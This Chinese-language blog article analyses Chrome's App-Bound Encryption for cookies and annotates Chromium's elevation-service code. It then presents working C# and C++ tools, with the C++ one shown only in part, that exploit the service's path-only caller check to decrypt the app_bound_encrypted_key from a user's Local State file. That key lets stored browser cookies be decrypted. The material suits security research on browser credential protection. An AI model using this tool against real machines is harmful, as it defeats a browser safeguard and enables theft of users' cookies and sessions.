0x00 前言
在 Chrome 127 版本之后,在 Windows 上引入了一种针对 Cookie 的新的保护方法,该保护方法是通过提供应用程序绑定(App-Bound-Encryption)加密原语来改进 DPAPI。 Chrome 现在可以加密与应用程序身份相关的数据,而不允许以登录用户身份运行的任何应用程序访问此数据。当然,现在也只是针对 Cookie 改用新的加密方法,后续将其拓展到密码、支付数据和令牌等数据。
那么本文就对 ABE 进行讲解。
0x01 加密方法发展史
默认情况下,Chrome 将保存的登录账号密码保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataDefaultLogin Data"
中,登录后的 Cookie 保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataDefaultNetworkCookies"
这两个文件都是 Sqlite 数据库文件,而它的有一些字段内容是经过加密的。
1.1 DPAPI
80.x 版本之前,Chrome 对这些加密字段使用的是 DPAPI 接口进行加密。
1.2 AES-256 的 GCM 模式
80.x 版本之后,Chrome 对这些加密字段使用的是 AES-256 的 GCM 模式进行加密。AES 密钥则保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataLocal State"
的 encrypted_key
字段中,有意思的是,该 encrypted_key
字段内容是经过 DPAPI -> Base64 加密后保存的。经过该方式加密的数据,默认密文前缀为 V10
。
但是,在 127.x 版本之后,Chrome 对 AES 的密钥进行了进一步的处理,引入了 ABE 的概念,对加密后的 AES Key 保存在 Local State
文件中的 app_bound_encrypted_key
字段中。经过该方式加密的数据,默认密文前缀为 V20
。
PS:并非所有的 127.x 版本之后的 Chrome,都启用了 ABE。
0x02 ABE 的原理
因此我们接下来就是要看看怎么解密这个经过 ABE 加密后的 AES Key。那么首先需要知道 ABE 的原理是什么。
2.1 怎么运行的?
从图片可以看出,新的加密方式是需要 Chrome 和一个高权限服务进行一个交互的:内部实现则是判断进程是否是 Chrome 以及调用了 System 和 User 的 DPAPI 对 AES Key 进行加解密。
然后其他部分和之前版本就没有区别了。并且需要特别注意它的几个打叉的地方:
-
1. 不能通过读取 Chrome 进程的内存得到 key。
-
2. 非 Chrome 进程无法与高权限服务进行通讯(这个理解是有些歧义的)。
-
3. 无法直接读取数据库文件内容,因为内容已经加密。
由于 Chrome 已经提供了 Chrome Elevation Service(位于 src/chrome/elevation_service 中),该服务在 Chrome 作为系统范围安装时安装,并提供 COM 接口来支持操作。并且已为该 COM 接口提供了 IDL 文件(用于定义COM接口),地址为:https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevation_service_idl.idl。
本机的服务状态如下:
2.2 代码分析
其实我们不需要关心它的具体实现,因为已经提供了 COM 接口进行调用,但是不看代码的话,会有坑(我帮你走过了),最后还是得看代码,哈哈哈。
接下来我们根据代码进行详细分析,在 Elevated Service
针对 AES Key 的加解密的代码如下:
// https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevator.cc#省流版本
#include "chrome/elevation_service/elevator.h"
#include "chrome/elevation_service/caller_validation.h"
#include "chrome/elevation_service/elevated_recovery_impl.h"
namespace elevation_service {
// 加密数据
HRESULT Elevator::EncryptData(ProtectionLevel protection_level,
const BSTR plaintext,
BSTR* ciphertext,
DWORD* last_error) {
// 获取明文的字节长度
UINT length = ::SysStringByteLen(plaintext);
if (!length)
return E_INVALIDARG;
std::string plaintext_str(reinterpret_cast<char*>(plaintext), length);
DATA_BLOB intermediate = {};
// 使用模拟的客户端上下文进行加密
if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
// 获取调用进程
const auto calling_process = GetCallingProcess();
if (!calling_process.IsValid())
return kErrorCouldNotObtainCallingProcess;
// 生成验证数据,这个很关键
const auto validation_data =
GenerateValidationData(protection_level, calling_process);
if (!validation_data.has_value()) {
return validation_data.error();
}
const auto data =
std::string(validation_data->cbegin(), validation_data->cend());
std::string data_to_encrypt;
// 将验证数据和明文数据附加到数据字符串中
AppendStringWithLength(data, data_to_encrypt);
AppendStringWithLength(plaintext_str, data_to_encrypt);
DATA_BLOB input = {};
input.cbData = base::checked_cast<DWORD>(data_to_encrypt.length());
input.pbData = const_cast<BYTE*>(
reinterpret_cast<const BYTE*>(data_to_encrypt.data()));
// 使用用户上下文加密数据
if (!::CryptProtectData(
&input, /*szDataDescr=*/
base::SysUTF8ToWide(version_info::GetProductName()).c_str(),
nullptr, nullptr, nullptr, /*dwFlags=*/CRYPTPROTECT_AUDIT,
&intermediate)) {
*last_error = ::GetLastError();
return kErrorCouldNotEncryptWithUserContext;
}
} else {
return impersonate.result();
}
DATA_BLOB output = {};
{
base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);
// 使用系统上下文进一步加密数据
if (!::CryptProtectData(
&intermediate,
/*szDataDescr=*/
base::SysUTF8ToWide(version_info::GetProductName()).c_str(),
nullptr, nullptr, nullptr, /*dwFlags=*/CRYPTPROTECT_AUDIT,
&output)) {
*last_error = ::GetLastError();
return kErrorCouldNotEncryptWithSystemContext;
}
}
base::win::ScopedLocalAlloc output_freer(output.pbData);
// 将输出数据转换为 BSTR
*ciphertext = ::SysAllocStringByteLen(reinterpret_cast<LPCSTR>(output.pbData),
output.cbData);
if (!*ciphertext)
return E_OUTOFMEMORY;
return S_OK;
}
// 解密数据
HRESULT Elevator::DecryptData(const BSTR ciphertext,
BSTR* plaintext,
DWORD* last_error) {
// 获取密文的字节长度
UINT length = ::SysStringByteLen(ciphertext);
if (!length)
return E_INVALIDARG;
DATA_BLOB input = {};
input.cbData = length;
input.pbData = reinterpret_cast<BYTE*>(ciphertext);
DATA_BLOB intermediate = {};
// 使用系统上下文解密
if (!::CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0,
&intermediate)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithSystemContext;
}
base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);
std::string plaintext_str;
// 使用用户模拟上下文进一步解密
if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
DATA_BLOB output = {};
// 使用用户存储解密
if (!::CryptUnprotectData(&intermediate, nullptr, nullptr, nullptr, nullptr,
0, &output)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithUserContext;
}
base::win::ScopedLocalAlloc output_freer(output.pbData);
std::string mutable_plaintext(reinterpret_cast<char*>(output.pbData),
output.cbData);
// 从解密数据中提取验证数据
const std::string validation_data = PopFromStringFront(mutable_plaintext);
if (validation_data.empty()) {
return E_INVALIDARG;
}
const auto data =
std::vector<uint8_t>(validation_data.cbegin(), validation_data.cend());
const auto process = GetCallingProcess();
if (!process.IsValid()) {
*last_error = ::GetLastError();
return kErrorCouldNotObtainCallingProcess;
}
// 注意:验证应始终使用调用者模拟令牌进行。
std::string log_message;
HRESULT validation_result = ValidateData(process, data, &log_message);
if (FAILED(validation_result)) {
*last_error = ::GetLastError();
// 仅在 Dev 通道上启用扩展日志
if (install_static::GetChromeChannel() == version_info::Channel::DEV &&
!log_message.empty()) {
*plaintext =
::SysAllocStringByteLen(log_message.c_str(), log_message.length());
}
return validation_result;
}
plaintext_str = PopFromStringFront(mutable_plaintext);
} else {
return impersonate.result();
}
// 将解密后的字符串转换为 BSTR
*plaintext =
::SysAllocStringByteLen(plaintext_str.c_str(), plaintext_str.length());
if (!*plaintext)
return E_OUTOFMEMORY;
return S_OK;
}
从代码中还是比较明显可以看出来,key 的加密流程为:明文 -> 验证数据 + 明文 -> System DPAPI -> User DPAPI -> 密文
,那么解密则反之。
这里不读代码所遇到的坑就是,在跟进 GenerateValidationData()
的时候发现该代码生成的是基于调用程序路径的验证数据,并且在解密时,同样调用 ValidateData
验证数据的路径,来判断是否同一路径的调用程序解密。
PS:由于只是验证了路径,而并非校验完整的程序名称及路径。因此我们可以通过编写解密程序,在相同的路径下允许解密程序即可获取到解密后的 AES Key。
0x03 AES Key 是怎么保存的?
3.1 encrypted_key
我们先看看 encrypted_key
是怎么来的,代码地址为:https://github.com/chromium/chromium/blob/fffc5f61d4de48d0ac75140784ab6d2e240ffa4a/components/os_crypt/sync/os_crypt_win.cc#L243
可以很简单的看出来, encrypted_key
是通过随机生成数据,经过用户的 DPAPI 进行加密后,在前面加上 "DPAPI" 字符,最后 Base64 加密后保存。
3.2 app_bound_encrypted_key
那么接下来看 app_bound_encrypted_key
字段,我们查看代码,代码具体地址为:https://github.com/chromium/chromium/tree/main/chrome/browser/os_crypt
#include "chrome/browser/os_crypt/app_bound_encryption_provider_win.h"
#include <optional>
#include "base/base64.h"
#include "base/debug/dump_without_crashing.h"
#include "base/logging.h"
#include "base/metrics/histogram_functions.h"
#include "base/metrics/histogram_macros.h"
#include "base/task/single_thread_task_runner.h"
#include "base/task/task_traits.h"
#include "base/task/thread_pool.h"
#include "base/types/expected.h"
#include "base/version_info/channel.h"
#include "chrome/browser/os_crypt/app_bound_encryption_win.h"
#include "chrome/common/channel_info.h"
#include "components/crash/core/common/crash_key.h"
#include "components/os_crypt/async/common/algorithm.mojom.h"
#include "components/os_crypt/async/common/encryptor.h"
#include "components/prefs/pref_registry_simple.h"
#include "components/prefs/pref_service.h"
#include "crypto/random.h"
namespace os_crypt_async {
namespace {
// 应用程序绑定加密管理的加密密钥的偏好名称。
constexpr char kEncryptedKeyPrefName[] = "os_crypt.app_bound_encrypted_key";
// 使用应用程序绑定加密加密的密钥前缀。用于验证从偏好中检索到的加密密钥数据是否有效。
constexpr uint8_t kCryptAppBoundKeyPrefix[] = {'A', 'P', 'P', 'B'};
// 用于标识使用应用程序绑定加密密钥加密的数据的标签。OSCryptAsync 使用此标签识别数据。
constexpr char kAppBoundDataPrefix[] = "v20";
namespace features {
// 紧急“关闭开关”,以防大量日志条目被创建。当前指标显示不到 0.1% 的客户端应该会生成日志。
BASE_FEATURE(kAppBoundEncryptionMetricsExtendedLogs,
"AppBoundEncryptionMetricsExtendedLogs",
base::FEATURE_ENABLED_BY_DEFAULT);
} // namespace features
} // namespace
// COMWorker 类用于在后台执行加解密操作
class AppBoundEncryptionProviderWin::COMWorker {
public:
// 加密密钥
std::optional<const std::vector<uint8_t>> EncryptKey(
const std::vector<uint8_t>& decrypted_key) {
std::string plaintext_string(decrypted_key.begin(), decrypted_key.end());
std::string ciphertext;
DWORD last_error;
// 调用加密函数
HRESULT res = os_crypt::EncryptAppBoundString(
ProtectionLevel::PROTECTION_PATH_VALIDATION, plaintext_string,
ciphertext, last_error);
// 返回加密后的密钥
return std::vector<uint8_t>(ciphertext.cbegin(), ciphertext.cend());
}
// 解密密钥
std::optional<const std::vector<uint8_t>> DecryptKey(
const std::vector<uint8_t>& encrypted_key) {
DWORD last_error;
std::string encrypted_key_string(encrypted_key.begin(),
encrypted_key.end());
std::string decrypted_key_string;
std::string log_message;
// 调用解密函数
HRESULT res = os_crypt::DecryptAppBoundString(encrypted_key_string, decrypted_key_string, last_error, &log_message);
// 清除解密后的字符串数据并返回结果
std::vector<uint8_t> data(decrypted_key_string.cbegin(), decrypted_key_string.cend());
::SecureZeroMemory(decrypted_key_string.data(), decrypted_key_string.size());
return data;
}
};
// 获取密钥
void AppBoundEncryptionProviderWin::GetKey(KeyCallback callback) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
auto encrypted_key_data = RetrieveEncryptedKey();
if (encrypted_key_data.has_value()) {
// 存在密钥,在后台工作线程上执行解密。
com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::DecryptKey)
.WithArgs(std::move(encrypted_key_data.value()))
.Then(base::BindOnce(&AppBoundEncryptionProviderWin::ReplyWithKey,
std::move(callback)));
return;
}
// 生成随机密钥
const auto random_key = crypto::RandBytesAsVector(
os_crypt_async::Encryptor::Key::kAES256GCMKeySize);
// 获取密钥的副本。加密操作完成后,这将作为提供程序的未加密密钥返回。
std::vector<uint8_t> decrypted_key(random_key.cbegin(), random_key.cend());
// 在后台工作线程上执行加密。
com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::EncryptKey)
.WithArgs(std::move(random_key))
.Then(base::BindOnce(
&AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply,
weak_factory_.GetWeakPtr(), std::move(decrypted_key),
std::move(callback)));
}
// 存储加密密钥并回复
void AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply(
const std::vector<uint8_t>& decrypted_key,
KeyCallback callback,
const std::optional<std::vector<uint8_t>>& encrypted_key) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
if (!encrypted_key) {
// 这里的失败导致提供程序未被注册。
std::move(callback).Run(kAppBoundDataPrefix, std::nullopt);
return;
}
// 创建包含前缀的完整密钥
std::vector<uint8_t> key(sizeof(kCryptAppBoundKeyPrefix) +
encrypted_key->size());
key.insert(key.cbegin(), std::begin(kCryptAppBoundKeyPrefix),
std::end(kCryptAppBoundKeyPrefix));
key.insert(key.cbegin() + sizeof(kCryptAppBoundKeyPrefix),
encrypted_key->cbegin(), encrypted_key->cend());
// 添加指示此密钥已通过应用绑定提供程序加密的标头。
std::string base64_key = base::Base64Encode(key);
// 存储密钥。
local_state_->SetString(kEncryptedKeyPrefName, base64_key);
// 回复密钥
ReplyWithKey(std::move(callback), decrypted_key);
}
// 回复密钥
void AppBoundEncryptionProviderWin::ReplyWithKey(
KeyCallback callback,
std::optional<std::vector<uint8_t>> decrypted_key) {
if (decrypted_key) {
// 创建加密器密钥对象
Encryptor::Key key(*decrypted_key, mojom::Algorithm::kAES256GCM);
// 清除内存中的密钥数据
::SecureZeroMemory(decrypted_key->data(), decrypted_key->size());
// 执行回调,传递密钥
std::move(callback).Run(kAppBoundDataPrefix, std::move(key));
return;
}
// 这里的失败导致提供程序未被注册。
std::move(callback).Run(kAppBoundDataPrefix, std::nullopt);
}
} // namespace os_crypt_async
其中,COMWorker
封装好的类,用于调用高权限服务的 COM 接口,重点可以直接看 GetKey()
:
3.2.1 加密部分
-
1. 随机生成 AES256GCM 密钥
-
2. 通过异步调用 COMWorker 中的 EncryptKey 方法,并传递 random_key 作为参数,这里需要注意的是它使用的是
PROTECTION_PATH_VALIDATION
,也就是加密的时候,加入了校验调用程序的路径。 -
3. 在 StoreEncryptedKeyAndReply() 里面,则是将 APPB 插入在密文的前面,最后 Base64 加密后保存。
3.2.2 解密部分
-
1. 在 RetrieveEncryptedKey() 读取 Base64 字符串、去除 APPB。
-
2. 通过异步调用 COMWorker 中的 DecryptKey 方法(在实现里,校验了调用程序的路径),传递密文。
-
3. 恢复密钥。
0x04 解密代码
并且通过阅读源码也可以发现,在 https://github.com/chromium/chromium/blob/main/chrome/browser/os_crypt/app_bound_encryption_win.cc 中,也确实是通过调用该 COM 接口来对数据进行加解密。
由于在加密 Key 的时候,调用 PROTECTION_PATH_VALIDATION
,因此它会校验调用者的路径验证,因此我们的解密程序,需要放在 Chrome 应用程序目录中(例如,C:Program FilesGoogleChromeApplication
)。从命令行运行可执行文件:
4.1 C# 代码
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Diagnostics;
namespace ChromeAppBound
{
class Program
{
[DllImport("ole32.dll")]
public static extern int CoInitializeEx(IntPtr pvReserved, uint dwCoInit);
[DllImport("ole32.dll")]
public static extern void CoUninitialize();
[DllImport("ole32.dll")]
public static extern int CoCreateInstance(
ref Guid clsid,
IntPtr pUnkOuter,
uint dwClsContext,
ref Guid iid,
out IntPtr ppv);
[DllImport("ole32.dll")]
public static extern int CoSetProxyBlanket(
IntPtr pProxy,
uint dwAuthnSvc,
uint dwAuthzSvc,
IntPtr pServerPrincName,
uint dwAuthnLevel,
uint dwImpLevel,
IntPtr pAuthInfo,
uint dwCapabilities);
[DllImport("oleaut32.dll")]
public static extern IntPtr SysStringByteLen(IntPtr bstr);
[DllImport("oleaut32.dll")]
public static extern IntPtr SysAllocStringByteLen(byte[] str, uint len);
private static readonly byte[] KeyPrefix = { (byte)'A', (byte)'P', (byte)'P', (byte)'B' };
private static void DisplayBanner()
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("----------------------------------------------");
Console.WriteLine("| Chrome App-Bound Encryption - Decryption |");
Console.WriteLine("| RowTeam (@rcoil) |");
Console.WriteLine("----------------------------------------------");
Console.WriteLine("");
Console.ResetColor();
}
private static byte[] RetrieveEncryptedKeyFromLocalState()
{
Console.WriteLine("[+] Retrieving AppData path.");
var appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
var localStatePath = Path.Combine(appDataPath, @"GoogleChromeUser DataLocal State");
Console.WriteLine("[+] Local State path: " + localStatePath);
if (!File.Exists(localStatePath))
{
Console.WriteLine("[!] Could not open the Local State file.");
return new byte[0];
}
var fileContent = File.ReadAllText(localStatePath);
var searchKey = ""app_bound_encrypted_key":"";
var keyStartPos = fileContent.IndexOf(searchKey);
if (keyStartPos == -1)
{
Console.WriteLine("[!] 'app_bound_encrypted_key' not found in Local State file.");
return new byte[0];
}
keyStartPos += searchKey.Length;
var keyEndPos = fileContent.IndexOf('"', keyStartPos);
if (keyEndPos == -1)
{
Console.WriteLine("[!] Malformed 'app_bound_encrypted_key' in Local State file.");
return new byte[0];
}
var base64_encrypted_key = fileContent.Substring(keyStartPos, keyEndPos - keyStartPos);
var encrypted_key_with_header = Convert.FromBase64String(base64_encrypted_key);
if (!KeyPrefix.SequenceEqual(encrypted_key_with_header.Take(KeyPrefix.Length)))
{
Console.WriteLine("[!] Invalid key header.");
return new byte[0];
}
Console.WriteLine("[+] Key header is valid.");
return encrypted_key_with_header.Skip(KeyPrefix.Length).ToArray();
}
private static string BytesToHexString(byte[] byteArray)
{
return BitConverter.ToString(byteArray).Replace("-", "").ToLower();
}
private static void PrintChromeVersion(string chromePath)
{
try
{
var versionInfo = FileVersionInfo.GetVersionInfo(chromePath);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[+] Found Chrome Version: " + versionInfo.FileVersion);
Console.ResetColor();
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[!] Could not get version info for " + chromePath);
Console.ResetColor();
}
}
// 定义 ProtectionLevel 枚举
enum ProtectionLevel
{
PROTECTION_NONE = 0,
PROTECTION_PATH_VALIDATION_OLD = 1,
PROTECTION_PATH_VALIDATION = 2,
PROTECTION_MAX = 3
}
// 定义与 IElevator COM 接口的接口
[ComImport, Guid("463ABECF-410D-407F-8AF5-0DF35A005CC8"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevator
{
int RunRecoveryCRXElevated(
string crxPath,
string browserAppId,
string browserVersion,
string sessionId,
uint callerProcessId,
out IntPtr processHandle);
int EncryptData(
ProtectionLevel protectionLevel,
IntPtr plaintext,
out IntPtr ciphertext,
out uint lastError);
int DecryptData(
IntPtr ciphertext,
out IntPtr plaintext,
out uint lastError);
}
static byte[] EncryptData(IElevator elevator, byte[] plaintext)
{
IntPtr plaintextPtr = SysAllocStringByteLen(plaintext, (uint)plaintext.Length);
if (plaintextPtr == IntPtr.Zero)
{
throw new Exception("Failed to allocate memory for plaintext.");
}
Marshal.Copy(plaintext, 0, plaintextPtr, plaintext.Length);
IntPtr ciphertext;
try
{
// 调用 EncryptData 方法
int hr = elevator.EncryptData(
ProtectionLevel.PROTECTION_PATH_VALIDATION,
plaintextPtr,
out ciphertext,
out uint lastError);
if (hr < 0)
{
throw new COMException("EncryptData failed.", hr);
}
}
finally
{
Marshal.FreeBSTR(plaintextPtr);
}
int ciphertextLength = (int)SysStringByteLen(ciphertext);
byte[] encryptedBytes = new byte[ciphertextLength];
Marshal.Copy(ciphertext, encryptedBytes, 0, ciphertextLength);
Marshal.FreeBSTR(ciphertext);
return encryptedBytes;
}
static byte[] DecryptData(IElevator elevator, byte[] encrypted_key)
{
IntPtr bstrPtr = SysAllocStringByteLen(encrypted_key, (uint)encrypted_key.Length);
if (bstrPtr == IntPtr.Zero)
{
return null;
}
Marshal.Copy(encrypted_key, 0, bstrPtr, encrypted_key.Length);
IntPtr data;
int hr;
try
{
hr = elevator.DecryptData(bstrPtr, out data, out uint lastError);
}
catch (Exception e)
{
return null;
}
finally
{
Marshal.FreeBSTR(bstrPtr);
}
if (hr < 0)
{
return null;
}
int byteLength = (int)SysStringByteLen(data);
byte[] bytes = new byte[byteLength];
Marshal.Copy(data, bytes, 0, byteLength);
Marshal.FreeBSTR(data);
return bytes;
}
static void Main(string[] args)
{
DisplayBanner();
PrintChromeVersion(@"C:Program FilesGoogleChromeApplicationchrome.exe");
Console.WriteLine("[*] Starting Chrome App-Bound Encryption Decryption process.");
uint CLSCTX_LOCAL_SERVER = 0x4;
uint RPC_C_AUTHN_DEFAULT = 0xffffffff;
uint RPC_C_AUTHZ_DEFAULT = 0xffffffff;
uint RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6;
uint RPC_C_IMP_LEVEL_IMPERSONATE = 3;
uint EOAC_DYNAMIC_CLOAKING = 0x40;
Guid elevatorClsid = new Guid("708860E0-F641-4611-8895-7D867DD3675B");
Guid elevatorIid = typeof(IElevator).GUID;
IntPtr elevatorPtr;
int hr = CoCreateInstance(ref elevatorClsid, IntPtr.Zero, CLSCTX_LOCAL_SERVER, ref elevatorIid, out elevatorPtr);
if (hr < 0)
{
return;
}
IElevator elevator = (IElevator)Marshal.GetObjectForIUnknown(elevatorPtr);
hr = CoSetProxyBlanket(
elevatorPtr,
RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT,
IntPtr.Zero,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
IntPtr.Zero,
EOAC_DYNAMIC_CLOAKING);
if (hr < 0)
{
return;
}
// 检索加密密钥
var encrypted_key = RetrieveEncryptedKeyFromLocalState();
Console.WriteLine("[+] Encrypted key retrieved: " + BytesToHexString(encrypted_key.Take(20).ToArray()) + "...");
var plaintext = DecryptData(elevator, encrypted_key);
Console.WriteLine("[+] Decrypted Key:" + BytesToHexString(plaintext));
}
}
}
4.2 C++ 代码
/*
* Source Code: https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
* Chrome App-Bound Encryption Service:
* https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
* https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view
* Based on the code of @snovvcrash
* https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
*/
#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <string>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "comsuppw.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "version.lib")
// CLSID and IID for Chrome App-Bound encryption service
// https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevation_service_idl.idl
const CLSID CLSID_Elevator = {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}};
const IID IID_IElevator = {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}};
// Additional IIDs for other Chrome variants for reference:
// const IID IID_IElevatorChromium = {0xB88C45B9, 0x8825, 0x4629, {0xB8, 0x3E, 0x77, 0xCC, 0x67, 0xD9, 0xCE, 0xED}};
// const IID IID_IElevatorChromeBeta = {0xA2721D66, 0x376E, 0x4D2F, {0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F}};
// const IID IID_IElevatorChromeDev = {0xBB2AA26B, 0x343A, 0x4072, {0x8B, 0x6F, 0x80, 0x55, 0x7B, 0x8C, 0xE5, 0x71}};
// const IID IID_IElevatorChromeCanary = {0x4F7CE041, 0x28E9, 0x484F, {0x9D, 0xD0, 0x61, 0xA8, 0xCA, 0xCE, 0xFE, 0xE4}};
// These IIDs correspond to different flavors of Chrome and Chromium for compatibility:
// - IID_IElevatorChromium: General Chromium version.
// - IID_IElevatorChromeBeta: Beta version of Chrome.
// - IID_IElevatorChromeDev: Development version of Chrome.
// - IID_IElevatorChromeCanary: Canary (experimental) version of Chrome.
// The primary interface in this code is IElevator, defined by the IID_IElevator above.
// Additional interfaces (e.g., IID_IElevatorChrome, IID_IElevatorChromium) can be used for other Chrome variants as needed.
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(
const WCHAR *crx_path, const WCHAR *browser_appid, const WCHAR *browser_version,
const WCHAR *session_id, DWORD caller_proc_id, ULONG_PTR *proc_handle) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(
ProtectionLevel protection_level, const BSTR plaintext,
BSTR *ciphertext, DWORD *last_error) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(
const BSTR ciphertext, BSTR *plaintext, DWORD *last_error) = 0;
};
namespace ConsoleUtils
{
void SetConsoleColor(WORD color)
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, color);
}
void DisplayBanner()
{
SetConsoleColor(12);
std::cout << "----------------------------------------------" << std::endl;
std::cout << "| Chrome App-Bound Encryption - Decryption |" << std::endl;
std::cout << "| Alexander Hagenah (@xaitax) |" << std::endl;
std::cout << "----------------------------------------------" << std::endl;
std::cout << "" << std::endl;
SetConsoleColor(7);
}
}
namespace ChromeAppBound
{
constexpr size_t KeySize = 32;
const uint8_t KeyPrefix[] = {'A', 'P', 'P', 'B'};
const std::string Base64Chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
inline bool IsBase64(unsigned char c)
{
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::vector<uint8_t> Base64Decode(const std::string &encoded_string)
{
int in_len = encoded_string.size();
int i = 0, j = 0, in_ = 0;
uint8_t char_array_4[4]{}, char_array_3[3]{};
std::vector<uint8_t> decoded_data;
while (in_len-- && (encoded_string[in_] != '=') && IsBase64(encoded_string[in_]))
{
char_array_4[i++] = encoded_string[in_++];
if (i == 4)
{
for (i = 0; i < 4; i++)
char_array_4[i] = Base64Chars.find(char_array_4[i]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; i < 3; i++)
decoded_data.push_back(char_array_3[i]);
i = 0;
}
}
if (i)
{
for (j = i; j < 4; j++)
char_array_4[j] = 0;
for (j = 0; j < 4; j++)
char_array_4[j] = Base64Chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; j < i - 1; j++)
decoded_data.push_back(char_array_3[j]);
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+]";
ConsoleUtils::SetConsoleColor(7);
std::cout << " Finished decoding." << std::endl;
return decoded_data;
}
std::string BytesToHexString(const BYTE *byteArray, size_t size)
{
std::ostringstream oss;
for (size_t i = 0; i < size; ++i)
oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray[i]);
return oss.str();
}
std::string GetAppDataPath()
{
char appDataPath[MAX_PATH];
if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appDataPath) != S_OK)
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Could not retrieve AppData path." << std::endl;
return "";
}
return std::string(appDataPath);
}
std::vector<uint8_t> RetrieveEncryptedKeyFromLocalState()
{
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Retrieving AppData path." << std::endl;
std::string appDataPath = GetAppDataPath();
if (appDataPath.empty())
{
return {};
}
std::string localStatePath = appDataPath + "\Google\Chrome\User Data\Local State";
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Local State path: " << localStatePath << std::endl;
// Open Local State file
std::ifstream file(localStatePath);
if (!file.is_open())
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Could not open the Local State file." << std::endl;
return {};
}
std::string fileContent((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
const std::string searchKey = ""app_bound_encrypted_key":"";
size_t keyStartPos = fileContent.find(searchKey);
if (keyStartPos == std::string::npos)
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "'app_bound_encrypted_key' not found in Local State file." << std::endl;
return {};
}
keyStartPos += searchKey.length();
size_t keyEndPos = fileContent.find(""", keyStartPos);
if (keyEndPos == std::string::npos)
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Malformed 'app_bound_encrypted_key' in Local State file." << std::endl;
return {};
}
std::string base64_encrypted_key = fileContent.substr(keyStartPos, keyEndPos - keyStartPos);
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Base64 encrypted key extracted." << std::endl;
